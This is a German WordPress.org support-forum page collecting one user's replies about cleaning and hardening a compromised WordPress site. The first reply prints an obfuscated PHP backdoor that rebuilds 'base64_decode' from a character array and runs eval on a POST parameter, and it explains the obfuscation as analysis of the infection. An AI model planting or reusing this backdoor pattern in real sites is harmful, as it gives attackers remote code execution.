Title: Antworten von Sorbas48 | WordPress.org Deutsch --- # Sorbas48 [ ](https://de.wordpress.org/support/users/sorbas48/) * [Profil](https://de.wordpress.org/support/users/sorbas48/) * [Erstellte Themen](https://de.wordpress.org/support/users/sorbas48/topics/) * [Verfasste Antworten](https://de.wordpress.org/support/users/sorbas48/replies/) * [Beantwortete Themen](https://de.wordpress.org/support/users/sorbas48/replied-to/) * [Beteiligungen](https://de.wordpress.org/support/users/sorbas48/engagements/) * [Favoriten](https://de.wordpress.org/support/users/sorbas48/favorites/) Antworten suchen: ## Erstellte Forenantworten Ansicht von 6 Antworten – 1 bis 6 (von insgesamt 6) * Forum: [Allgemeine Fragen](https://de.wordpress.org/support/forum/allgemeine-fragen/) Als Antwort auf: [Grundsatzfrage Malware in Seiten möglich?](https://de.wordpress.org/support/topic/grundsatzfrage-malware-in-posting-moglich/) * Themenersteller [Sorbas48](https://de.wordpress.org/support/users/sorbas48/) * (@sorbas48) * [vor 11 Jahren, 3 Monaten](https://de.wordpress.org/support/topic/grundsatzfrage-malware-in-posting-moglich/#post-24156) * [@torsten](https://de.wordpress.org/support/users/torsten/) Landsiedel vielen Dank, danach habe ich gesucht. * übrigens, nicht zu vergessen den String: * ``` $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['ne0080b'];if(isset($s22)){eval($s21($s22));}?> Der eine versteckte „base64_decode“ darstellt. $sF[4] = B $sF[5] = A $sF[9] = S $sF[10] = E $sF[6] = 6 $sF[3] = 4 $sF[11] = _ $sF[8] = D $sF[10] = E $sF[1] = C $sF[7] = O $sF[8] = D $sF[10] = E ``` * Forum: [Allgemeine Fragen](https://de.wordpress.org/support/forum/allgemeine-fragen/) Als Antwort auf: [Grundsatzfrage Malware in Seiten möglich?](https://de.wordpress.org/support/topic/grundsatzfrage-malware-in-posting-moglich/) * Themenersteller [Sorbas48](https://de.wordpress.org/support/users/sorbas48/) * (@sorbas48) * [vor 11 Jahren, 3 Monaten](https://de.wordpress.org/support/topic/grundsatzfrage-malware-in-posting-moglich/#post-24142) * Die Frage war: ob es für Angreifer grundsätzlich möglich wäre, in einer WP-Seite ausführbaren Schad-Code zu verstecken, bzw. wenn – welche Voraussetzungen (Schwachstellen) müssten dafür gegeben sein? (natürlich vorausgesetzt, das der Angreifer in irgend einer Art und Weise Zugang zur Seite erlangt hatte) * Forum: [Allgemeine Fragen](https://de.wordpress.org/support/forum/allgemeine-fragen/) Als Antwort auf: [Grundsatzfrage Malware in Seiten möglich?](https://de.wordpress.org/support/topic/grundsatzfrage-malware-in-posting-moglich/) * Themenersteller [Sorbas48](https://de.wordpress.org/support/users/sorbas48/) * (@sorbas48) * [vor 11 Jahren, 3 Monaten](https://de.wordpress.org/support/topic/grundsatzfrage-malware-in-posting-moglich/#post-24136) * Das Verstecken der WordPress Version ist ja auch nur ein minimaler Teilbereich aller Aktionen und schützt lediglich vor kidy Hackern, die nach alten angreifbaren Versionen suchen und außerdem braucht man dazu kein Plugin, die erforderlichen Code Schnipsel kann man auch selbst ganz einfach in der funktion.php des aktiven Themes einbauen. * z. B. für weaver-ii ab Zeile 2528: add_action(‚after_setup_theme‘, ‚remove_admin_bar‘); * function remove_admin_bar() { * if (!current_user_can(‚administrator‘) && !is_admin()) { * show_admin_bar(false); * } * } add_filter(‚login_errors‘, create_function(‚$a‘, „return null;“)); remove_action(‚ wp_head‘, ‚wp_generator‘); * Das verlinkte Posting stammt aus 2013 und ist eigentlich überholt; und! selbstverständlich darf man sich auf ein einfaches Sicherheits-Plugin nicht verlassen. Man braucht schon eines, das nicht nur einen guten Exploit Scanner hat, sondern auch jede Veränderung in der Datenbank und in den ausführbaren Dateien meldet, natürlich mit dem Nachteil, dass auch alle eigenen Änderungen gemeldet werden. Abgesehen davon ziehe ich regelmäßige eine Kopie per FTP offline und vergleiche sie mit einer sauberen Referenz-Installation per Inhaltsvergleich. * Forum: [Allgemeine Fragen](https://de.wordpress.org/support/forum/allgemeine-fragen/) Als Antwort auf: [Grundsatzfrage Malware in Seiten möglich?](https://de.wordpress.org/support/topic/grundsatzfrage-malware-in-posting-moglich/) * Themenersteller [Sorbas48](https://de.wordpress.org/support/users/sorbas48/) * (@sorbas48) * [vor 11 Jahren, 3 Monaten](https://de.wordpress.org/support/topic/grundsatzfrage-malware-in-posting-moglich/#post-24132) * Ganz so einfach wie das hier aussieht habe ich mir das ja nicht gemacht. Wie schon gesagt habe ich WordPress und alle Plugins neu installiert. Zuvor habe ich natürlich über FTP Zugang geprüft, dass auch keine verborgenen Reste am Server verblieben sind. Den Up-Load bereich behält man typischerweise wie er ist, es haben aber dort PHP oder JS Dateien natürlich nichts verloren. Abgesehen davon steht dort in jedem Verzeichnis eine leere index.html Datei. * Jedenfalls meldet der Malware Scan des ebenfalls installierten Sucuri Security, dass kein Schadcode entdeckt wurde. Außerdem wurde die gängigen Schutzmaßnahmen wie: * WordPress version properly hidden Upload directory properly hardened WP-content directory properly hardened WP-Includes directory properly hardened Using an updated version of PHP (5.6.10) Security keys and salts properly created Default admin user account (admin) not being used File editor for Plugins and Themes is disabled There are no error log files in your project. Und natürlich das standard Prefix der Datenbank geändert. * Abgesehen davon habe ich eine Neu-Installation mit gleichen Plugins und mit leerer Datenbank auf einem freien Serverplatz durchgeführt und beide Installationen über FTP lokal kopiert und mit File Inhaltsvergleich verglichen. Die zwangsläufig unterschiedlichen Dateien bedingt durch andere Keys, WEB Adresse usw wurden dann nochmals unter Ausschluss dieser Bereiche verglichen. Wie man sieht habe ich mir das nicht all zu leicht gemacht. * Jedenfalls zeigen jetzt die 404 SEO redirection Protokolle an, wo früher vermutlich kontaminierte Dateien waren, weil irgend welche Bots versuchen darauf zuzugreifen. * Da ja der WordPress Inhalt auch vor der Bereinigung lokal kopiert wurden, habe ich Zugang zu den vormals kontaminierten Dateien und kann den Schadcode isolieren und damit weiter Prüfungen anstellen. * Forum: [Allgemeine Fragen](https://de.wordpress.org/support/forum/allgemeine-fragen/) Als Antwort auf: [Grundsatzfrage Malware in Seiten möglich?](https://de.wordpress.org/support/topic/grundsatzfrage-malware-in-posting-moglich/) * Themenersteller [Sorbas48](https://de.wordpress.org/support/users/sorbas48/) * (@sorbas48) * [vor 11 Jahren, 3 Monaten](https://de.wordpress.org/support/topic/grundsatzfrage-malware-in-posting-moglich/#post-24128) * Eigentlich verstehe ich unter systematischer Reinigung eine Neuinstallation von WordPress und aller Plugins, sowie Eliminierung aller PHP Dateien im Up-Load Verzeichnis. * Meine Frage war, ob es für einen Hacker möglich ist, in der Datenbank eine Seite oder einen Post mit ausführbaren Schad-Code zu installieren, den die Datenbank ist es ja, die man nach einem heftigen Crash meist wieder aus einem Backup ersetzt. Dass es möglich ist, per Hack Spam-Seiten anzulegen, das ist ja nicht neu. * Forum: [Allgemeine Fragen](https://de.wordpress.org/support/forum/allgemeine-fragen/) Als Antwort auf: [vermehrter externer IP Zugriff auf wp-content/connections_templates/cache.php](https://de.wordpress.org/support/topic/vermehrter-externer-ip-zugriff-auf-wp-contentconnections_templatescachephp/) * Themenersteller [Sorbas48](https://de.wordpress.org/support/users/sorbas48/) * (@sorbas48) * [vor 11 Jahren, 7 Monaten](https://de.wordpress.org/support/topic/vermehrter-externer-ip-zugriff-auf-wp-contentconnections_templatescachephp/#post-27393) * [@shazahm1](https://de.wordpress.org/support/users/shazahm1/) sorry for writing in german language, I was in mind to be on a german page, but in any case, thank you – I have removed the folder. * [@bego](https://de.wordpress.org/support/users/bego/) Mario Garde – danke vielmals, diese Informationen kenne ich seit geraumer Zeit und die meisten davon habe ich auch schon länger umgesetzt. Viele WordPress Admins wissen ja auch gar nicht, wer womit etwas auf ihrer Seite versucht. Mir ging es hier darum, den Hintergrund für eine bestimmte Aktion ausfindig zu machen. Normalerweise habe ich ja .cn –. cz – .ee – .ge – .ru und .ua über die .htaccess ausgesperrt, aber zwischendurch schaue ich wieder einmal nach, was sich so am „vulnerable Such-Markt“ bewegt, um etwaige Türchen zu schließen. Ansicht von 6 Antworten – 1 bis 6 (von insgesamt 6)